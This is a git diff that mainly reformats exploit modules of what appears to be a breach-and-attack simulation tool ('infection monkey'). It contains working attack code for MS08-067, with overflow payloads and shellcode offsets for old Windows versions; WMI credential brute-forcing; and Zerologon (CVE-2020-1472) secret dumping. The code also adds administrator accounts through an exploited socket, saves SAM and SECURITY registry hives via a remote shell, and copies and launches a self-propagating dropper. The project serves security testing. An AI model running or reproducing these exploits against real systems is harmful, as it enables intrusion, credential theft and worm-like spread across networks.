+ "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
+ "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
+ "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
+ "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
+ "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
+ "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00"
+)
# Payload for Windows 2000 target
-PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
-PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
-PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
-PAYLOAD_2000 += '\x41\x41'
-PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
-PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
-PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
-PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
-PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
-PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
-PAYLOAD_2000 += '\xeb\xcc'
-PAYLOAD_2000 += '\x00\x00'
+PAYLOAD_2000 = "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"
+PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41"
+PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41"
+PAYLOAD_2000 += "\x41\x41"
+PAYLOAD_2000 += "\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0"
+PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43"
+PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43"
+PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43"
+PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43"
+PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43"
+PAYLOAD_2000 += "\xeb\xcc"
+PAYLOAD_2000 += "\x00\x00"
# Payload for Windows 2003[SP2] target
-PAYLOAD_2003 = '\x41\x00\x5c\x00'
-PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
-PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
-PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
-PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
-PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
-PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
-PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
-PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
-PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
-PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
-PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
+PAYLOAD_2003 = "\x41\x00\x5c\x00"
+PAYLOAD_2003 += "\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
+PAYLOAD_2003 += "\x2e\x00\x5c\x00\x0a\x32\xbb\x77"
+PAYLOAD_2003 += "\x8b\xc4\x66\x05\x60\x04\x8b\x00"
+PAYLOAD_2003 += "\x50\xff\xd6\xff\xe0\x42\x84\xae"
+PAYLOAD_2003 += "\xbb\x77\xff\xff\xff\xff\x01\x00"
+PAYLOAD_2003 += "\x01\x00\x01\x00\x01\x00\x43\x43"
+PAYLOAD_2003 += "\x43\x43\x37\x48\xbb\x77\xf5\xff"
+PAYLOAD_2003 += "\xff\xff\xd1\x29\xbc\x77\xf4\x75"
+PAYLOAD_2003 += "\xbd\x77\x44\x44\x44\x44\x9e\xf5"
+PAYLOAD_2003 += "\xbb\x77\x54\x13\xbf\x77\x37\xc6"
+PAYLOAD_2003 += "\xba\x77\xf9\x75\xbd\x77\x00\x00"
class WindowsVersion(IntEnum):
@@ -141,10 +147,10 @@ class SRVSVC_Exploit(object):
LOG.debug("Connected to %s", target_rpc_name)
self._dce = self._trans.DCERPC_class(self._trans)
- self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
+ self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0")))
dce_packet = self._build_dce_packet()
- self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
+ self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
@@ -157,52 +163,57 @@ class SRVSVC_Exploit(object):
if self.os_version == WindowsVersion.WindowsXP:
return XP_PACKET
# Constructing Malicious Packet
- dce_packet = '\x01\x00\x00\x00'
- dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
+ dce_packet = "\x01\x00\x00\x00"
+ dce_packet += "\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00"
dce_packet += SHELLCODE
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
- dce_packet += '\x00\x00\x00\x00'
- dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41"
+ dce_packet += "\x00\x00\x00\x00"
+ dce_packet += "\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00"
dce_packet += self._payload
- dce_packet += '\x00\x00\x00\x00'
- dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
- dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
- dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
- dce_packet += '\x01\x00\x00\x00'
+ dce_packet += "\x00\x00\x00\x00"
+ dce_packet += "\x02\x00\x00\x00\x02\x00\x00\x00"
+ dce_packet += "\x00\x00\x00\x00\x02\x00\x00\x00"
+ dce_packet += "\x5c\x00\x00\x00\x01\x00\x00\x00"
+ dce_packet += "\x01\x00\x00\x00"
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
- _TARGET_OS_TYPE = ['windows']
- _EXPLOITED_SERVICE = 'Microsoft Server Service'
- _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
- 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
- 'Windows 5.1': WindowsVersion.WindowsXP}
+ _TARGET_OS_TYPE = ["windows"]
+ _EXPLOITED_SERVICE = "Microsoft Server Service"
+ _windows_versions = {
+ "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
+ "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
+ "Windows 5.1": WindowsVersion.WindowsXP,
+ }
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
def is_os_supported(self):
- if self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in list(self._windows_versions.keys()):
+ if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list(
+ self._windows_versions.keys()
+ ):
return True
- if not self.host.os.get('type') or (
- self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
+ if not self.host.os.get("type") or (
+ self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version")
+ ):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(self.host):
- return self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in list(self._windows_versions.keys())
+ return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get(
+ "version"
+ ) in list(self._windows_versions.keys())
return False
def _exploit_host(self):
@@ -212,22 +223,28 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
- os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
+ os_version = self._windows_versions.get(
+ self.host.os.get("version"), WindowsVersion.Windows2003_SP2
+ )
exploited = False
+ random_password = get_random_password()
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
try:
sock = exploit.start()
- sock.send("cmd /c (net user {} {} /add) &&"
- " (net localgroup administrators {} /add)\r\n".format(
- self._config.user_to_add,
- self._config.remote_user_pass,
- self._config.user_to_add).encode())
+ sock.send(
+ "cmd /c (net user {} {} /add) &&"
+ " (net localgroup administrators {} /add)\r\n".format(
+ self._config.user_to_add,
+ random_password,
+ self._config.user_to_add,
+ ).encode()
+ )
time.sleep(2)
- reply = sock.recv(1000)
+ sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", self.host)
exploited = True
@@ -241,20 +258,24 @@ class Ms08_067_Exploiter(HostExploiter):
return False
# copy the file remotely using SMB
- remote_full_path = SmbTools.copy_file(self.host,
- src_path,
- self._config.dropper_target_path_win_32,
- self._config.user_to_add,
- self._config.remote_user_pass)
+ remote_full_path = SmbTools.copy_file(
+ self.host,
+ src_path,
+ self._config.dropper_target_path_win_32,
+ self._config.user_to_add,
+ random_password,
+ )
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
- remote_full_path = SmbTools.copy_file(self.host,
- src_path,
- self._config.dropper_target_path_win_32,
- "Administrator",
- password)
+ remote_full_path = SmbTools.copy_file(
+ self.host,
+ src_path,
+ self._config.dropper_target_path_win_32,
+ "Administrator",
+ password,
+ )
if remote_full_path:
break
@@ -263,16 +284,20 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
- cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- SRVSVC_Exploit.TELNET_PORT,
- self._config.dropper_target_path_win_32)
+ cmdline = DROPPER_CMDLINE_WINDOWS % {
+ "dropper_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host,
+ get_monkey_depth() - 1,
+ SRVSVC_Exploit.TELNET_PORT,
+ self._config.dropper_target_path_win_32,
+ )
else:
- cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
- build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
+ cmdline = MONKEY_CMDLINE_WINDOWS % {
+ "monkey_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT
+ )
try:
sock.send(("start %s\r\n" % (cmdline,)).encode())
@@ -286,7 +311,11 @@ class Ms08_067_Exploiter(HostExploiter):
except socket.error:
pass
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- remote_full_path, self.host, cmdline)
+ LOG.info(
+ "Executed monkey '%s' on remote victim %r (cmdline=%r)",
+ remote_full_path,
+ self.host,
+ cmdline,
+ )
return True
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 348fd230c..c89b2d5ea 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -7,18 +7,19 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
- _TARGET_OS_TYPE = ['windows']
+ _TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
- _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
+ _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)"
VULNERABLE_PORT = 135
def __init__(self, host):
@@ -38,8 +39,10 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
- creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
- "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
+ creds_for_logging = (
+ "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
+ "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
+ )
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
@@ -48,14 +51,20 @@ class WmiExploiter(HostExploiter):
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
- LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
+ LOG.debug(
+ ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
+ )
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
- LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
+ LOG.debug(
+ ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
+ )
continue
except socket.error:
- LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging)
+ LOG.debug(
+ ("Network error in WMI connection to %r with " % self.host) + creds_for_logging
+ )
return False
except Exception as exc:
LOG.debug(
@@ -68,9 +77,12 @@ class WmiExploiter(HostExploiter):
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
# query process list and check if monkey already running on victim
- process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
- fields=("Caption",),
- where="Name='%s'" % ntpath.split(src_path)[-1])
+ process_list = WmiTools.list_object(
+ wmi_connection,
+ "Win32_Process",
+ fields=("Caption",),
+ where="Name='%s'" % ntpath.split(src_path)[-1],
+ )
if process_list:
wmi_connection.close()
@@ -78,45 +90,63 @@ class WmiExploiter(HostExploiter):
return False
# copy the file remotely using SMB
- remote_full_path = SmbTools.copy_file(self.host,
- src_path,
- self._config.dropper_target_path_win_32,
- user,
- password,
- lm_hash,
- ntlm_hash,
- self._config.smb_download_timeout)
+ remote_full_path = SmbTools.copy_file(
+ self.host,
+ src_path,
+ self._config.dropper_target_path_win_32,
+ user,
+ password,
+ lm_hash,
+ ntlm_hash,
+ self._config.smb_download_timeout,
+ )
if not remote_full_path:
wmi_connection.close()
return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
- cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- WmiExploiter.VULNERABLE_PORT,
- self._config.dropper_target_path_win_32)
+ cmdline = DROPPER_CMDLINE_WINDOWS % {
+ "dropper_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host,
+ get_monkey_depth() - 1,
+ WmiExploiter.VULNERABLE_PORT,
+ self._config.dropper_target_path_win_32,
+ )
else:
- cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
- build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- WmiExploiter.VULNERABLE_PORT)
+ cmdline = MONKEY_CMDLINE_WINDOWS % {
+ "monkey_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
+ )
# execute the remote monkey
- result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
- ntpath.split(remote_full_path)[0],
- None)
+ result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
+ cmdline, ntpath.split(remote_full_path)[0], None
+ )
if (0 != result.ProcessId) and (not result.ReturnValue):
- LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
- remote_full_path, self.host, result.ProcessId, cmdline)
+ LOG.info(
+ "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
+ remote_full_path,
+ self.host,
+ result.ProcessId,
+ cmdline,
+ )
- self.add_vuln_port(port='unknown')
+ self.add_vuln_port(port="unknown")
success = True
else:
- LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
- remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
+ LOG.debug(
+ "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
+ "cmdline=%r)",
+ remote_full_path,
+ self.host,
+ result.ProcessId,
+ result.ReturnValue,
+ cmdline,
+ )
success = False
result.RemRelease()
diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py
index aa82d78c5..019bf8291 100644
--- a/monkey/infection_monkey/exploit/zerologon.py
+++ b/monkey/infection_monkey/exploit/zerologon.py
@@ -1,11 +1,13 @@
"""
Zerologon, CVE-2020-1472
-Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
+Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and
+https://github.com/risksense/zerologon/.
"""
import logging
import os
import re
+import tempfile
from binascii import unhexlify
from typing import Dict, List, Optional, Tuple
@@ -17,12 +19,10 @@ from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
-from infection_monkey.exploit.zerologon_utils.vuln_assessment import (
- get_dc_details, is_exploitable)
+from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.utils.capture_output import StdoutCapture
-
LOG = logging.getLogger(__name__)
@@ -40,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info["credentials"] = {}
self.exploit_info["password_restored"] = None
self._extracted_creds = {}
+ self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
+
+ def __del__(self):
+ self._secrets_dir.cleanup()
def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
@@ -56,7 +60,8 @@ class ZerologonExploiter(HostExploiter):
else:
LOG.info(
- "Exploit not attempted. Target is most likely patched, or an error was encountered."
+ "Exploit not attempted. Target is most likely patched, or an error was "
+ "encountered."
)
return False
@@ -120,9 +125,7 @@ class ZerologonExploiter(HostExploiter):
request["AccountName"] = dc_name + "$\x00"
request["ComputerName"] = dc_name + "\x00"
- request[
- "SecureChannelType"
- ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
+ request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request["Authenticator"] = authenticator
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
@@ -135,7 +138,8 @@ class ZerologonExploiter(HostExploiter):
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(
- f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
+ f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
+ f"went wrong."
)
return _exploited
@@ -151,9 +155,7 @@ class ZerologonExploiter(HostExploiter):
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
user_creds = self.get_all_user_creds()
if not user_creds:
- raise Exception(
- "Couldn't extract any usernames and/or their passwords' hashes."
- )
+ raise Exception("Couldn't extract any usernames and/or their passwords' hashes.")
# Use above extracted credentials to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.")
@@ -165,15 +167,11 @@ class ZerologonExploiter(HostExploiter):
user_details[1]["nt_hash"],
]
try:
- original_pwd_nthash = self.get_original_pwd_nthash(
- username, user_pwd_hashes
- )
+ original_pwd_nthash = self.get_original_pwd_nthash(username, user_pwd_hashes)
if original_pwd_nthash:
break
except Exception as e:
- LOG.info(
- f"Credentials didn\'t work. Exception: {str(e)}"
- )
+ LOG.info(f"Credentials didn't work. Exception: {str(e)}")
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.")
@@ -187,9 +185,7 @@ class ZerologonExploiter(HostExploiter):
# Start restoration attempts.
LOG.debug("Attempting password restoration.")
- _restored = self._send_restoration_rpc_login_requests(
- rpc_con, original_pwd_nthash
- )
+ _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?")
@@ -206,7 +202,8 @@ class ZerologonExploiter(HostExploiter):
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
try:
options = OptionsForSecretsdump(
- target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
+ # format for DC account - "NetBIOSName$@0.0.0.0"
+ target=f"{self.dc_name}$@{self.dc_ip}",
target_ip=self.dc_ip,
dc_ip=self.dc_ip,
)
@@ -233,7 +230,8 @@ class ZerologonExploiter(HostExploiter):
except Exception as e:
LOG.info(
- f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
+ f"Exception occurred while dumping secrets to get some username and its "
+ f"password's NT hash: {str(e)}"
)
return None
@@ -244,9 +242,7 @@ class ZerologonExploiter(HostExploiter):
username: str = "",
options: Optional[object] = None,
) -> List[str]:
- dumper = DumpSecrets(
- remote_name=remote_name, username=username, options=options
- )
+ dumper = DumpSecrets(remote_name=remote_name, username=username, options=options)
dumped_secrets = dumper.dump().split("\n")
return dumped_secrets
@@ -280,9 +276,7 @@ class ZerologonExploiter(HostExploiter):
self._extracted_creds[user]["nt_hash"],
)
- def add_extracted_creds_to_exploit_info(
- self, user: str, lmhash: str, nthash: str
- ) -> None:
+ def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
self.exploit_info["credentials"].update(
{
user: {
@@ -295,9 +289,7 @@ class ZerologonExploiter(HostExploiter):
)
# so other exploiters can use these creds
- def add_extracted_creds_to_monkey_config(
- self, user: str, lmhash: str, nthash: str
- ) -> None:
+ def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
if user not in self._config.exploit_user_list:
self._config.exploit_user_list.append(user)
@@ -315,24 +307,21 @@ class ZerologonExploiter(HostExploiter):
options = OptionsForSecretsdump(
dc_ip=self.dc_ip,
just_dc=False,
- system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
- sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
- security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
+ system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
+ sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
+ security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
)
- dumped_secrets = self.get_dumped_secrets(
- remote_name="LOCAL", options=options
- )
+ dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
for secret in dumped_secrets:
- if (
- "$MACHINE.ACC: " in secret
- ): # format of secret - "$MACHINE.ACC: lmhash:nthash"
+ if "$MACHINE.ACC: " in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(":")[2]
return nthash
except Exception as e:
LOG.info(
- f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
+ f"Exception occurred while dumping secrets to get original DC password's NT "
+ f"hash: {str(e)}"
)
finally:
@@ -340,14 +329,18 @@ class ZerologonExploiter(HostExploiter):
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
LOG.info(
- f'Starting remote shell on victim with credentials:\n'
- f'user: {username}\n'
- f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : '
- f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}'
+ f"Starting remote shell on victim with credentials:\n"
+ f"user: {username}\n"
+ f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
+ f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
)
wmiexec = Wmiexec(
- ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip
+ ip=self.dc_ip,
+ username=username,
+ hashes=":".join(user_pwd_hashes),
+ domain=self.dc_ip,
+ secrets_dir=self._secrets_dir,
)
remote_shell = wmiexec.get_remote_shell()
@@ -361,7 +354,8 @@ class ZerologonExploiter(HostExploiter):
+ "reg save HKLM\\SECURITY security.save"
)
- # Get HKLM keys locally (can't run these together because it needs to call do_get()).
+ # Get HKLM keys locally (can't run these together because it needs to call
+ # do_get()).
remote_shell.onecmd("get system.save")
remote_shell.onecmd("get sam.save")
remote_shell.onecmd("get security.save")
@@ -387,25 +381,17 @@ class ZerologonExploiter(HostExploiter):
def remove_locally_saved_HKLM_keys(self) -> None:
for name in ["system", "sam", "security"]:
- path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
+ path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
try:
os.remove(path)
except Exception as e:
- LOG.info(
- f"Exception occurred while removing file {path} from system: {str(e)}"
- )
+ LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
- def _send_restoration_rpc_login_requests(
- self, rpc_con, original_pwd_nthash
- ) -> bool:
+ def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
- restoration_attempt_result = self.try_restoration_attempt(
- rpc_con, original_pwd_nthash
- )
+ restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
- is_restored = self.assess_restoration_attempt_result(
- restoration_attempt_result
- )
+ is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
if is_restored:
return is_restored
@@ -415,9 +401,7 @@ class ZerologonExploiter(HostExploiter):
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
) -> Optional[object]:
try:
- restoration_attempt_result = self.attempt_restoration(
- rpc_con, original_pwd_nthash
- )
+ restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
return restoration_attempt_result
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
@@ -481,9 +465,7 @@ class ZerologonExploiter(HostExploiter):
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
if restoration_attempt_result:
- LOG.debug(
- "DC machine account password should be restored to its original value."
- )
+ LOG.debug("DC machine account password should be restored to its original value.")
return True
return False
